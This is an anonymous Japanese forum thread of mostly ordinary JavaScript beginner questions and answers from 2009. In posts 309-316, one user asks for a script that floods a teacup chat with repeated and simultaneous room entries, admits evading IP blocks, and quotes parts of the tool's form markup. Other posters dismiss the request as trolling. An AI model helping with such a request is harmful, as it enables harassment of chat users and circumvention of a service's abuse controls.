動的生成してるようだからこうするのが手っ取り早そう
var optionIndex = ["aaa" : 1, "bbb" : 2, "ccc" : 3, "ddd" : 4]; // ここも動的生成、もしくはhoge_x生成用データの流用
selectAll(optionIndex["bbb"]);

244 :Name_Not_Found:2009/07/23(木) 11:50:19 ID:???
つい1から並べたけどselectIndexって0オリジンだっけw

245 :Name_Not_Found:2009/08/03(月) 17:01:25 ID:???
ttp://phpspot.org/blog/archives/2009/03/if_currentpagej.html


に似た感じでアンダーラインだけでなく
aタグのもなくすことは可能ですか?

押してもボールドされるだけって感じです。

246 :Name_Not_Found:2009/08/03(月) 17:26:40 ID:???
>>245
もうちょっと詳しく言わないとわからないな。
どっちをクリックしたとき?現在のページを表すボールドの方?それともリンクの方?

247 :Name_Not_Found:2009/08/03(月) 19:23:53 ID:???
レスありがとうございます。

現在を表すのボールドの方です。




248 :Name_Not_Found:2009/08/04(火) 16:21:41 ID:jiZN7HDz
教えてエロい人
java script を勉強したいのですが、おすすめの教本はありまつか?

249 :Name_Not_Found:2009/08/04(火) 22:16:05 ID:???
ありますん。

250 :Name_Not_Found:2009/08/04(火) 22:48:20 ID:???
どっちゃねん!

251 :Name_Not_Found:2009/08/05(水) 10:04:20 ID:???
>>248
オライリー

252 :Name_Not_Found:2009/08/14(金) 16:29:36 ID:ME+bLNwd
初めまして。javascritp初心者です。失礼ながら質問があります。ここでやりたいことは、10x10のセルをつくり、個々のセルをクリックできるようにします。 そして、クリックをすると、そのセルの背景色が変わるということです。
どうぞよろしくお願いします。
<title>10X10</title> <script type="text/javascript">
//<![CDATA[
function bgSwap(TD) {
if (TO.style && TD.style.backgroundColor)
TD.style.backgroundColor = 'pink';
else
TD.style.backgroundColor='#ff0000';
}
function gridtable(){
var table = document.createElement('table');
var tbody = document.createElement('tbody');
table.style.border = "0";
for(var i = 1 ; i <= 10; i ++ ){
var tr = document.createElement('tr');
for(var j = 1 ; j <= 10; j ++ ){
var td = document.createElement('td');
td.style.border = "0";
td.style.width = "30";
td.style.height = "30";
td.style.textAlign = "center";
window.event.onclick = bgSwap(td);
tr.appendChild(td);
}
tbody.appendChild(tr);
}
table.appendChild (tbody);
document.getElementById("T").appendChild(table);
}
//]]> </script> </head> <body onload="gridtable()" bgcolor = "aqua"> <div id="T" ></div>

253 :Name_Not_Found:2009/08/14(金) 23:17:38 ID:???
なんでこんな長いスクリプトが必要かわからん

function 関数名(セルのID,カラー16進数){
var obj = document.getElementById(セルのID);
obj.style.backgroundColor = カラー16進数;
}

html側
<td id="セルのID">
<a style="cursor:pointer;cursor:hand;" onclick="関数名('セルのID', 'カラー16進数')"> </a>
</td>

関数名は好きな名で
セルのID及びカラー16進数は任意の引数に変更すること!

これだけでいけないか?

254 :Name_Not_Found:2009/08/15(土) 05:50:51 ID:1h71jQrw
10×10のセルを作り

255 :Name_Not_Found:2009/08/15(土) 14:23:58 ID:???
無知にも程がある

256 :Name_Not_Found:2009/08/15(土) 17:51:06 ID:???
253でも100個のセルにそれぞれIDを付ければできるが
面倒だわな

257 :Name_Not_Found:2009/08/15(土) 19:01:35 ID:???
知識ゼロでは無理だろうな
無報酬で期待する方もバカだが
マルチな時点で人として屑だけどな

258 :Name_Not_Found:2009/08/18(火) 07:20:16 ID:???
ttp://virus.okwave.jp/qa2736613.html
これにlivetubeの右側の掲示板のような更新+自動スクロールするチェックボックス付けて下さい


259 :Name_Not_Found:2009/08/21(金) 21:40:24 ID:???
サイ本以外のおすすめ本は、
http://www.amazon.co.jp/gp/product/4274066606/

Ajax の解説は、最後に少しあるだけだが、内容が理解しやすく、初心者でも無理なく読めると思う。

260 :Name_Not_Found:2009/08/22(土) 00:21:04 ID:???
ttp://hwg.web6.jp/armadillobrain/xxxsp/lightboxab/lightbox_ab_01.html
このページで配布されているLightBoxの以下の点を修正できませんか?
1.Firefoxで「同じウィンドウで開く」「新しいウィンドウで開く」を押すと、保存のメッセージが出てしまう。
2.ビューウィンドウがページスクロールに追従しない。
可能でしたらお願いいたしますm(_ _)m

261 :Name_Not_Found:2009/09/04(金) 18:24:51 ID:???
selectタグのname名って取得できたっけ?

262 :独学:2009/10/05(月) 03:35:57 ID:zbF33XaE
学校の先生に素数判定の簡単なプログラム書いてこいと言われて、インターネットで
色々調べて見て様々なプログラミング言語で書いてあるのを見つけたました。。。

でもindex.htmlのような形でサーバーにアップして実行出来るようにと言われたのですが正直分かりませんorz...

もし分かる方いたらindex.htmlにどのようなコードを書かないといけないか教えていただけないでしょうか><??
宜しくお願いしますm(__)m

263 :Name_Not_Found:2009/10/05(月) 09:45:23 ID:???
>>262
マルチは嫌われるからあちこちに書き込まない方がいい
何も考えず実行できることだけ満たされればいいなら下の貼りつければ動く
あとは実際の素数判定の計算式入れて

<html>
<body>
<script type="text/javascript">
// 素数判定関数
var eratosthenes = function(num) {

 // ... 素数判定の計算式

 // 判定結果のreturn
 return true; // or false
}

// ユーザの入力
var num = window.prompt('input number');
if (/[0-9]+/.test(num)) {
 alert(eratosthenes(num)); // 素数判定関数の呼び出しと出力
}
</script>
</body>
</html>

264 :独学:2009/10/05(月) 12:30:07 ID:???
>>263
すいません(汗これからは気を付けます><
ありがとうございますm(__)mホントに助かりました!orz..

判定結果のfalseがうまく表示されなくて今から自分で直すのに挑戦したいと思います。

265 :独学:2009/10/05(月) 13:34:41 ID:???
>>264
結果が上手く表示されない><....

266 :Name_Not_Found:2009/10/05(月) 13:38:02 ID:???
現状で出来てるところまで書いてみたら?

267 :独学:2009/10/05(月) 13:40:47 ID:???
>>265
eratosthenesと判定結果のだし方を結びつけるのがなかなか難しい><
アドバイスかやり方ご存知ですか?


268 :独学:2009/10/05(月) 13:44:02 ID:???
>>266
eratosthenesと判定結果のだし方を結びつけるのがなかなか難しい><
アドバイスかやり方ご存知ですか?


269 :Name_Not_Found:2009/10/05(月) 13:54:10 ID:???
以降スルーで

270 :Name_Not_Found:2009/10/05(月) 15:06:29 ID:???
>>267
今できてる所までのコードを貼りつけて。

>>263の、

// 素数判定関数
var eratosthenes = function(num) {

 // ... 素数判定の計算式

 // 判定結果のreturn
 return true; // or false
}

の中身をどうやって書いてるかそのまま貼りつけるだけでいいので。
ただの「教えて」だけだと>>269の言うとおりスルーになるから生産性ないよ

271 :Name_Not_Found:2009/10/05(月) 15:26:11 ID:???
retrun true;がそのまま残ってるんじゃねーのw

272 :独学:2009/10/05(月) 16:07:43 ID:???
>>271
そのまま残ってるというのfalseは機能しないって事ですか?
まだまったくの初心者ですいません><

273 :Name_Not_Found:2009/10/05(月) 16:23:54 ID:???
>272
たぶん、もうスルーされると思う。人に質問する時は質問された人の立場になってみてね。
自分のレスだけ読み返して読んでみて、的確なレスを返せる人がいると思うかい?

274 :独学:2009/10/05(月) 16:43:54 ID:???
>>273
確かに的確に答えてもらえないようなレスになってました、、
自分が理解出来ないのところに首を突っ込んだせいですね。。。

275 :Name_Not_Found:2009/10/05(月) 17:18:29 ID:???
>>274
そんなレスしなくていいからeratosthenesの中身どうやって書いたかをコピペしてくれ
とりあえずコピペすればいいだけなんだから

276 :独学:2009/10/05(月) 18:05:26 ID:???
>>275
これ素数判定の書いたアルゴリズムです。。
int main()
{
int i,n;
for(;;){
printf("入力 ");
scanf("%d",&i);

for ( n = 2; n < i; n++){
if ( i % n == 0){
break;
}
}
if (n == i){
printf("%d 素数\n",i);
}
else{
printf("%d 整数\n",i);
}
}
}

277 :Name_Not_Found:2009/10/05(月) 18:28:04 ID:???
>>276
なるほど。C言語のプログラムをどっかから持ってきたか作ったかしたのかw
それは大変だな。とりあえず最大限生かして書き変えたから>>263の<script></script>の間を下のに書き換えて。
とりあえずjavascriptにintとかなくて全部varだと思った方がいいのと、出力はDOM考えないなら基本的にalertね。

var eratosthenes = function(i) { // 素数判定関数
 var ret; // 戻り値
 var n = 2;
 for (; n < i; n++){
  if ( i % n == 0){
   break;
  }
 }
 if (n == i){
  ret = i + " 素数";
 }
 else{
  ret = i + " 整数";
 }
 return ret;
}
// ユーザの入力
for (;;) {
 var num = window.prompt('入力');
 if (/[0-9]+/.test(num)) {
  alert(eratosthenes(num)); // 素数判定関数の呼び出しと出力
 }
 else {
  alert('終了します');
  break;
 }
}

278 :277:2009/10/05(月) 18:29:17 ID:???
書き忘れた。
そのままだと無限ループで永遠終わらないから数字以外入力した時に終わるようにしてある

279 :Name_Not_Found:2009/10/05(月) 19:34:12 ID:???
すみません。少し依頼させて下さい。
当方は Windows の EmEditor というエディタを使用しています。
その中のフリーのJSマクロに機能を追加したいと思っています。

基本としたいマクロは↓のものです。
 http://www37.atwiki.jp/emeditor/pages/56.html

このマクロに追加(依頼)したい機能は「各設定のコメント設定の取得と反映」です。

自分ではプログラミングは全く判らないので、キチンと対価を払って
専門知識を持つ人に依頼したいと思って書き込ませて頂く次第です。
そんなにたくさんの金額が出せるわけではありませんが、
引き受けて下さる方がいらっしゃったらお願い致します。

280 :独学:2009/10/06(火) 01:07:48 ID:???
>>277
ありがとうございますm(__)m上手く機能しました。。

自分で構造理解して自力でも書けるように頑張ります
有り難うございます。。

281 :Name_Not_Found:2009/10/07(水) 19:20:53 ID:???
スクロールに応じて動くメニューを作りたいのですが、
下記で詰まっておりますorz
#menu {
position: relative;
top: 0px;
left: 0px;
}

function hoge()
{
var e = document.getElementById( "menu" );
var p = e.parentNode;
var scrollY = document.body.scrollTop + 0;

if( p.offsetHeight - e.offsetHeight > scrollY )
e.style.top = scrollY + "px";
}

<body onScroll="hoge()">

親ボックスの範囲内で動かすには、どうしたら良いのでしょう?

282 :Name_Not_Found:2009/10/07(水) 20:25:48 ID:???
>>281
ダメだ。理解しようと思ったけどわからん
> 親ボックスの範囲内
これどういうこと?HTMLの構造がわからん

<div id="header">
 <div id="main">menu</div>
<div>
<div id="contents">contents</div>

こういう意味?

283 :Name_Not_Found:2009/10/07(水) 20:31:53 ID:???
>>282
そういう意味です(;^^

上下にスクロールしたら<div id="menu"></div>も一緒に動くようにはなったのですが、
下にスクロールし続けると親ボックスの<div id="menuBlock"></div>から外に出てしまうのですorz

284 :Name_Not_Found:2009/10/07(水) 22:24:11 ID:uCzP8AYT
>>283
パッと思いつくやり方はその親ボックスの下の要素の位置を保持しておいて、
それより上にある間だけ実行するとかかな。
offsetHeight使ってるならその下の要素の位置もすぐ求められるでしょ?
>>282で言うcontentsの位置を保持して、menuがそれより下に来ないようにするとか

285 :Name_Not_Found:2009/10/07(水) 22:55:05 ID:???
>>284
今頃気付いたのですが、「e.style.top - 0」は数値ではないですよね?

286 :Name_Not_Found:2009/10/07(水) 22:59:05 ID:???
alertで確かめたらNaNと出てきましたorz

287 :Name_Not_Found:2009/10/07(水) 23:08:24 ID:???
alert( Number( e.style.top ) );としてもNaNと出るのですが・・・

ブラウザはFirefoxです(・ω・)

288 :Name_Not_Found:2009/10/07(水) 23:46:18 ID:???
alert( e.style.top )見てから考えろ

289 :Name_Not_Found:2009/10/08(木) 00:10:50 ID:hchNy0NR
>>287
それをやるならparseInt(e.style.top)な
そうすると数字だけ取り出してくれる

290 :Name_Not_Found:2009/10/08(木) 00:19:11 ID:???
>>289
ありがとうございます。

ところで先ほどから<div>の高さを取得しようと試みているのですが、
offsetHeightとしても正確な値が取得できないのですorz
(明らかに少ない値が出る)

291 :Name_Not_Found:2009/10/08(木) 13:07:05 ID:???
>>283
どこができないんだ?と思ってちょっと試してみたけど、
Opera10,Chome,Safari,IE6,Firefox3.5
の全部で上手くいった
構造が違うのか?

こういう構造で試した
<body onScroll="hoge()">
 <div id="main">
  <div id="menuBlock" style="height:300px;background-color:#eee;">
   <div id="menu">menu</div>
  </div>
  <div id="contents"></div>
 </div>
</body>

292 :Name_Not_Found:2009/10/08(木) 18:32:17 ID:???
>>291
すみません・・・自己解決しました(;^^

どうやらJavaScriptではなくてHTMLの問題だったようですorz
当方、テーブルレイアウトでして<td></td>のなかに<div id="menuBlock"></div>を入れているのです。
そこで<td>の高さをoffsetHeightで取得したらちゃんと動きました。

それにしても<div id="menuBlock" style="height:100%;">としても
offsetHeightで正確な高さを得られないのはなぜでしょう?

293 :Name_Not_Found:2009/10/08(木) 19:46:41 ID:???
>>292
>正確な高さ
定義が違えば正解も違うってやつじゃない?

https://developer.mozilla.org/en/Determining_the_dimensions_of_elements
英語だけど問題ないでしょう

294 :Name_Not_Found:2009/10/08(木) 22:28:49 ID:???
>>294
英語なので意図は解りませんでしたが、図が参考になりました(;^^

ちなみに今のところ以下のソースで落ち着いてます。

function init()
{
 var e = document.getElementById( "menu" );
 var p = e.parentNode;
 var scrollY = document.body.scrollTop + 0;
 var scrollH = p.clientHeight - e.offsetHeight;

 if( scrollY < scrollH )
  e.style.top = scrollY + "px";
}

IE8、Firefox3.5、Safari4、Chrome3、Opera10で動作確認しましたので、
これでいこうと思います。

295 :Name_Not_Found:2009/10/08(木) 22:30:59 ID:???
あ、間違えた・・
>>293
でした(;^^

296 :Name_Not_Found:2009/10/12(月) 14:15:01 ID:???
JavaScriptから指定idを持つ body を持つページの場合だけ
背景色を変更しようと次の様にコードを書いたのですが、
色が変わりません。どこに問題があるのでしょうか?

<body id="id_test" bgcolor="lime">

function ChangeBgColor()
{
document.getElementById('id_test').bgcolor = "red";
}
※onclick = ChangeBgColor() はボタンに設定しています。

297 :Name_Not_Found:2009/10/12(月) 14:41:13 ID:???
>>296
setAttribute経由でおk

298 :Name_Not_Found:2009/10/12(月) 14:45:40 ID:???
ここ質問スレじゃなかったか
document.body.setAttribute("bgcolor", "red");
少なくともFx3.5のこのコードで動く

bodyにgetElementByIdできるかは知らない
あとエラーチェックするクセはつけとけ
var e = document.getElementById('id_test');
if (!e) { return; } // 値がないならなにもせず関数終了


299 :Name_Not_Found:2009/10/12(月) 14:59:47 ID:???
>>297
サンクス

300 :Name_Not_Found:2009/10/12(月) 15:00:33 ID:???
>>298
コードまでお教え頂きどうもありがとうございます。
非常に勉強になりました。どうもです。

301 :◆M21AkfQGck :2009/10/13(火) 18:21:32 ID:???
別スレでプログラムがPCで上手く動作しないことを相談し、
自分なりに修正できる点は全て修正したつもりなのですが
動作しますでしょうか?
動作しなければ修正ヵ所等を教えていただけたら幸いです。
ちなみに作成/動作環境はdocomo SH903iで
修正前はドコモとソフバンでは動作しましたがIEで動作しない状況でした。

302 :Name_Not_Found:2009/10/13(火) 18:26:07 ID:???
何を言っているんだ
あと大文字でSAGEるな

303 :Name_Not_Found:2009/10/13(火) 20:18:18 ID:6CdctJW2
http://www.dff.jp/

上記の”あなたのクリック募金での募金総額は?円” の
?にあたる部分のような他のページの処理が行われたことをインクリメントする
プログラムをスクリプトで書けるものでしょうか?

処理の概念的なものでも頂ければと思います。宜しくです。

304 :Name_Not_Found:2009/10/13(火) 22:17:57 ID:mbYfk7Mp
>>303
それ向こうのスレのときからずっと試してるんだけど、一部エラーになるんだよね
ログインしないと金額0円のまま?それなら登録して試してみるんだけど。

305 :◆M21AkfQGck :2009/10/14(水) 06:03:15 ID:???
>>301これになります
http://indexroom-id.hp.infoseek.co.jp/test/JSgazoushokunin.html


306 :Name_Not_Found:2009/10/14(水) 10:44:34 ID:rggNnQJZ
>>304
ありがとうございます。
募金先ページのソースも見ていたら、クリックされるflash自身は
http://as.dff.jp/dbx.php?lid=XXXXXXのオブジェクトでした。

つまりコレって、募金の情報をdffが管理してるのであって、他のページの処理を計算してる訳ではないのですね。
自分のサイトに募金の状況が貼れたらいいかなと思ったのですが、難しいそうですねぇ〜
flashを貼り付けることは可能だと思いますが、flashだけだとなぜか
一ヶ月で約? 一年で約?の ?部分が見れなくて見栄えが悪いですし。。。

307 :Name_Not_Found:2009/10/14(水) 10:53:17 ID:???
現物見てないけど、たぶんflashが読み込むデータがクロスドメイン制限に引っかかってる

308 :Name_Not_Found:2009/10/17(土) 01:33:56 ID:a+bs1nMh
マウスが動いてから一秒後に動く前と動いた後のマウスのclientxとyの座標を表示させるスクリプトお願いします。

309 :Name_Not_Found:2009/10/20(火) 12:08:07 ID:???
こんにちは。別の板で紹介されて移動してきました。コピペですみませんがよろしくお願いします。
【 CGI&PHP名 】 よくわかりません
【 配布先URL 】http://chat.teacup.com/
【 依頼期限 】 無期限
【 依頼内容 】このチャットで連続入室できるJS(ジャバスクリプト)
このチャットで連続入室&全部屋同時入室&連続色変化のできるスクリプトを作った人がいました。
その人とコンタクトがとれて、メールでhtm方式で送ってもらい2ヶ月程遊んでいましたが、やりすぎたのかセキュリティが厳しくなったようでできなくなりました。
その作った人とは今はコンタクトがとれなくて、ここへきました。

一度退出ボタンを押さないと、ハンドルネームが変えられないようにシステムも変更されたようです。
先週までは何度入っても違うハンドルネームで入れたのですが・・・・
もし連続入室ができるスクリプトを作れるならばお願いします。
運営側で一つのIPに対してIDが一つというような設定になってるようです。
よくアクセス規制を食らいますが、その都度IPを変えてきました。

310 :続きです。:2009/10/20(火) 12:09:05 ID:???
スクリプトをもらった人のソースをみると一部ですがこうなっています。
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<META http-equiv="Content-Type" content="text/html; charset=Shift_JIS" />
</HEAD>

<SCRIPT LANGUAGE="JavaScript">

中間部分割愛します。
FORM ACTION="#" NAME="form1" METHOD="POST" target="ilf1">
<INPUT TYPE=HIDDEN NAME="codeck" VALUE="あ">
<INPUT TYPE=HIDDEN NAME="r">
<INPUT TYPE=HIDDEN NAME="enter" VALUE="main">
ID:<INPUT TYPE=TEXT NAME="id" size=7>
name:<INPUT TYPE=TEXT NAME="nickname" size=25 maxlength=45>
<INPUT TYPE=SUBMIT VALUE="in" onClick="randid();">
こんな感じです。


311 :続きです。:2009/10/20(火) 12:11:42 ID:???
スクリプトを作成した当時のハンドルネーム「minikra」さんはこの連続入室はやろうと思えば、
一つのルームに対して3000〜6000人程入室できると言っていました。
メールでこのスクリプトをもらったときに、サーバーへの負荷を考慮すれば、300人までは大丈夫だと言われました。
上の続きの一部です。
</FORM>
</td>
<td>
<FORM ACTION="#" METHOD="POST" NAME="form1c" target="ilf1">
<INPUT NAME="enter" VALUE="exit" TYPE=HIDDEN>
<INPUT TYPE=HIDDEN NAME="r">
<INPUT TYPE=HIDDEN NAME="id">
<INPUT VALUE="out" TYPE=SUBMIT onClick="mem();">
</FORM>
</td>
<td>
<FORM ACTION="#" NAME="formp" METHOD="POST" target="ilf1">
<INPUT TYPE=HIDDEN NAME="codeck" VALUE="あ">
<INPUT TYPE=HIDDEN NAME="r">
<INPUT TYPE=HIDDEN NAME="enter" VALUE="main">
<INPUT TYPE=HIDDEN NAME="id">
name:<INPUT TYPE=TEXT NAME="nickname" size=36 maxlength=35>
<INPUT TYPE
=SUBMIT VALUE="in" onClick="randid();">
このスレッドお気に入りに入れておくのでどなたか達人様よろしくお願いします。
現在は発言ごとに色が変わるグラデーションと、自動発言、全部屋順序入室ができます。
依頼は各部屋に連続して入室できるようなスクリプトです。

312 :Name_Not_Found:2009/10/20(火) 12:12:51 ID:???
>>309
何に使うのそれ? 荒らし用途以外に思いつかないんだけど。

313 :Name_Not_Found:2009/10/20(火) 12:15:09 ID:???
釣りだろうが、本気だとしたら確かに荒らしの思考回路だなと思った。

314 :Name_Not_Found:2009/10/20(火) 12:17:32 ID:???
>>309-311
一部だけ見せられても手の出しようが無い。
どこかに全部うpしてくれ。

315 :Name_Not_Found:2009/10/20(火) 12:19:41 ID:???
>>312 違う板でも同じこと聞かれましたがチャットで遊ぶためですよ。
>>313 よくどの部屋でも荒らしと呼ばれています。
但し、荒らし連合国軍ではありません。荒らし連合国軍は田代砲と言われているものを、
使っていたようです。私は田代砲ではなくスクリプトによる入室&連続発言&連続色変化&各部屋順序入室などをして遊んでいます。
一つのルームに対して300人までならおkと太鼓判もらっています。
スクリプトを作成した本人にです。

316 :Name_Not_Found:2009/10/20(火) 12:22:15 ID:???
>>314 全部ですか?このスクリプトは他人に渡してはいけないと製作者の当時のコテハン
「minikra」さんに言われていますので・・・・私と直接メールしますか?

>>313 釣りではないです。この遊びは爽快です。

317 :Name_Not_Found:2009/10/20(火) 12:25:44 ID:???
以降スルー推奨

318 :Name_Not_Found:2009/10/20(火) 20:22:48 ID:???
鯖からみて、JavaScriptだろうが田代砲だろうが、同じ動作するなら荒らしだと思っていた
田代砲さえ使わなければ荒らしじゃないのか
目からウロコだぜ

鯖負荷について、スクリプト作者が大丈夫ってのもよく分からないけど
鯖管理側じゃないと負荷は分からないと思っていたから、またまた目からウロコだぜ

319 :Name_Not_Found:2009/10/21(水) 01:22:39 ID:???

var s = "AAA\r\nBBB\r\nCCC\r\n";


という文字列のうち s の末尾にある"\r\n"だけを削除するにはどうすれば良いでしょうか?

1文字ずつ比較して削除する事も出来ますが、
出来るだけスマートに削除したいです。

.NetのtrimEndみたいな関数はありませんか?

320 :Name_Not_Found:2009/10/21(水) 01:32:03 ID:???
s = s.replace(/\r\n$/, "");

321 :Name_Not_Found:2009/10/21(水) 01:33:52 ID:???
s.s.trimRight();
でもいいのか、非標準だけど

322 :Name_Not_Found:2009/10/21(水) 01:49:53 ID:???
>>320 >>321
やっぱりスマートな構文ってあるのですね。
ありがとうございました。

323 :Name_Not_Found:2009/10/21(水) 09:34:13 ID:???
スマートという語を使い出すとロクなことがない

324 :Name_Not_Found:2009/10/21(水) 12:29:16 ID:???
綺麗な構文

325 :minikra:2009/10/21(水) 13:38:17 ID:CbGyI56F
>>311
ちなみに貼り付けてるそれはスクリプトではなくてタグでしょ。
生憎teacupではそのスクリプトはもう使えないよ。
どちらにしても最近遊びに行かないから調べてないし直すきもないので。
以後別のminikraが活躍してくれますよきっと。
perlでね。
てかなんでperlなんだか;
それと素人プログラム恥ずかしいから他の人に渡すなよ?!

326 :スーパーひたち:2009/10/21(水) 13:49:14 ID:???
>>325  !!!!!!!!!!!!!!師匠!?

327 :スーパーひたち:2009/10/21(水) 13:53:39 ID:???
ぬぬぬぬ・・・・・・別のminikraとは一体!?


328 :Name_Not_Found:2009/10/21(水) 15:44:39 ID:???
何この茶番

329 :Name_Not_Found:2009/10/21(水) 17:03:50 ID:???
すみません、どうしても分からないのでお助け下さい

新しいウインドウを開いて、数秒後に違うページに移動後
『2番目のページが読み込み終わったら』更に次のページに移動するスクリプトを作りたいのですが
setTimeout使わずに、2番目が読み込み終わったら処理って出来ますでしょうか?

function a() {
WindowObject = window.open(aaa);
setTimeout("b()", 1000);
}

function b() {
WindowObject.location.href = bbb;
setTimeout("WindowObject.href = ccc", 3000); ←今はここの秒数で調整してます;;
}

330 :Name_Not_Found:2009/10/21(水) 17:05:55 ID:???
2番目のページにその処理書けば良いんじゃない?

331 :Name_Not_Found:2009/10/21(水) 17:08:30 ID:???
2番目のページは、他人のサイトのページなので弄れないんです;;

332 :Name_Not_Found:2009/10/21(水) 17:21:20 ID:???
じゃフレーム使えば?

333 :Name_Not_Found:2009/10/22(木) 03:07:47 ID:???
>>332
インラインフレーム使って弄ってたら出来ました!どうもありがとう
新しいウインドウ開くより管理が簡単なんですね、勉強になりました

334 :Name_Not_Found:2009/10/24(土) 20:20:23 ID:???
「大」「中」「小」のボタンがあって、押したボタンの画像をjavascriptで置き換えることはできたんだけど、これをクッキーに保存したい場合どういう風にソース書けばいいですか?
ソース
js--------------
function swapImg(num){
if(document.getElementsByTagName) {
var images = document.getElementsByTagName("img");
for(var i=0; i < images.length; i++) {
if(images[i].getAttribute("src").match("2.gif")){
images[i].setAttribute("src", images[i].getAttribute("src").replace("2.gif", "1.gif")); } }
for(var i=0; i < images.length; i++) {
if(images[i].getAttribute("src").match("im_size-"+num)){
images[i].setAttribute("src", images[i].getAttribute("src").replace("1.gif", "2.gif")); } } } }
html-------------------
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=Shift_JIS">
<title></title>
<script type="text/javascript" src="java.js"></script>
</head>
<body>
<img src="im_size-s1.gif" onclick="swapImg('s')" id="small">
<img src="im_size-m1.gif" onclick="swapImg('m')" id="middle">
<img src="im_size-b1.gif" onclick="swapImg('b')" id="large">
</body>
</html>

335 :Name_Not_Found:2009/10/25(日) 18:19:27 ID:???
>>334
正直, 放置するかどうか迷いまくってしまった.
興味よりも面倒臭さが先に立つんだよねぇ.
そもそも きちんと動くのを確認済 ?!
検証していないけど何かと問題の多い setAttribute を使ってるので気になる.

サンプルを作ってどこかに upload したほうが答えやすいんじゃないかな ?

336 :Name_Not_Found:2009/11/06(金) 06:54:26 ID:???
salvage

337 :Name_Not_Found:2009/11/13(金) 09:21:00 ID:???
ゲームのレビューのようなプログラムを依頼したいです

<機能というかお願い>
投稿フォームを作成して
6項目に(0-5)の間で評価点をつけてもらう
それを別の場所に(コピペするのでプログラム的には一番下で構いません)
投稿者の平均値の6角形のスコアチャートとして表示
スコアチャート上部に投稿者○人の平均値として文章表示

それとは別に全体評価を0-100の間で入力して貰い
上記と同じように別の場所に投稿者○人の平均評価○点
というような表示をさせたいです
複数ページ作る場合収集した数値が混ざらないかも教えて欲しいです

分かりづらい文章で申し訳ないです

338 :Name_Not_Found:2009/11/13(金) 20:43:50 ID:???
>>337
>分かりづらい文章で申し訳ないです
良く わかってるねぇ〜.
しかし それは覚悟の上... 良しとするしかないっ...
んで, 確認:

>6項目に(0-5)の間で評価点をつけてもらう
ようするに 6つの text field の内容が それぞれ "評価点" と見なされるのね?

>投稿者の平均値の6角形のスコアチャートとして表示
このケースでの "平均値" は 1つ しか考えられない( : 6項目の平均値).
となると, 6項目の値をそのまま... となるはず.
ここで困ったことが発生:
いわゆる Radar Chart として表示したいのだろうけれど, これが簡単ではない.
もしかすると やってしまう猛者も居るかも知れないけれど普通は js の持ち場ではない.

>投稿者○人の平均評価○点
これを実現するためには "投稿者○人" のデータを記録する必要がある.
もちろん mail で受け取って管理者が excel などで処理すれば可能だけど,
それならば script で処理するわ第2はならないはず.
ようするに この場合は CGI の分担となるわけ.

CGI 使える server なのかな ?
(perl もかじってるけど万が一の責任は取れない)

339 :Name_Not_Found:2009/11/13(金) 20:47:13 ID:???
変換ミス: 処理するわ第2は -> 処理する話題には

340 :Name_Not_Found:2009/11/14(土) 09:06:14 ID:???
>>338
返答ありがとうございます
まだプログラムを勉強し始めたばかりで
どの動作にどの言語が適してるのか理解できてないので、妙な事を言っていたら申し訳ないです

>ようするに 6つの text field の内容が それぞれ "評価点" と見なされるのね?
おそらくそういうことだと思います

>投稿者の平均値の6角形のスコアチャートとして表示
これは言葉足らずでした、すみません
6項目のそれぞれ個別項目の平均値を割り出して、ペンタゴンレーダーチャート形式で表示させたいのです
参考サイト様を1つ ttp://www.psmk2.net/title.php?title=499
中央のスコアボード、スコアチャートのようなことがしたいです

>CGI 使える server なのかな ?
残念ながらCGIは使用出来ない鯖です
CGIが使用可能な鯖を新たに借りてそこにリンクを飛ばすことなら出来るかもしれません

手動でexcel管理の方法を取るとページ数が多くなると非常に手間が掛かることが予想されるので
出来ればプログラムとして自動処理をしたいのですが、CGIでそれが出来るならやってみたいです

341 :Name_Not_Found:2009/11/14(土) 12:03:45 ID:???
>>340
Radar Chart は通常画像として表示されます.
js で画像を扱うことはありますが "生成" させようとする例を知りません.
で, お約束 : Google Search :
で以下のサイトを見つけました:

http://www.html5.jp/library/graph_radar.html
動作確認が必要ですが説明を読むだけでかなり面倒.
(個人的には半信半疑)
(ウチは nifty なので CGI OK; 動作確認は たぶん可能) <- 厳しい制限付きだけど
おいらの頭で理解できるかどうか... ???


342 :Name_Not_Found:2009/11/14(土) 12:52:29 ID:???
>>341 の動作確認結果 : ???
そもそも CGI ではない模様.
"Radar Chart" をキーワードに Google で探しても...
Flash で出来るとか出来ないとか...

データ集計を CGIでやることは可能. <- (特殊な掲示板 CGI)
その結果を excel を使って Radar Chart にするってのではだめ ?
ただし, 都合の良い CGI が転がってるかどうか...
最悪, 自作....

343 :Name_Not_Found:2009/11/14(土) 17:58:56 ID:???
・ 拾って来た CGI を利用 :
ttp://hpcgi2.nifty.com/alter/inquire/inquire.cgi
 Radar Chart でなく, Bar Graph...

344 :Name_Not_Found:2009/11/14(土) 20:07:03 ID:???
>>343
ありがとうございます
>>343で計算したデータを>>341のグラフに送ってレーダーチャート作成って出来ないものなのですかね?

345 :Name_Not_Found:2009/11/14(土) 22:25:02 ID:???
>>344
>>343 は CSV(CommoaSeparatedValue) 形式でデータを記録.
こいつを改造することは難しくない.
例えば TSV(TabSeparatedValue) 形式に改造するとか,
データファイルを cgi-bin でなく, htdocs (nifty では homepage) directory に吐かせるとか.
取り敢えずはウチに設置した CGI をそのまま利用してもたっても いいよん.

ただ... >>341 については正直, マユツバ...
HTML 5 に対応した Web-Browser ってあるのかねぇ ?
取り合えず CGI 改造に取り掛かりたいと思うので詳細を書いて欲しい.

346 :Name_Not_Found:2009/11/14(土) 22:26:59 ID:???
訂正:
利用してもたっても -> 利用してもらっても

347 :Name_Not_Found:2009/11/14(土) 23:14:52 ID:???
>>345
感謝です
ひとまずは>>343を使わせてもらおうと思います

詳細というと項目名や数値の幅とかでしょうか?

348 :Name_Not_Found:2009/11/14(土) 23:42:10 ID:???
>>347
>詳細というと項目名や数値の幅とかでしょうか?
いぇ〜す.
それと >>343 のデータ形式は CSV だけど, 扱いにくい欠点がある.
ところが TSV ならば大抵の Spred Sheet, Database Software に inport できる.
さらにはデータファイルの中身が "IP,data, data,..., \n" と言う感じなので,
これをそのまま公開するのには抵抗がある.

お気に召すように改造してみせまする.

349 :Name_Not_Found:2009/11/14(土) 23:46:24 ID:???
追記.
例えばバーグラフ(gif)の色だって変更可能.

350 : ◆q7u/null4U :2009/11/15(日) 10:04:13 ID:???
ただいま大改造中 (XHTML 1.0 strict, template 読み込み方式).
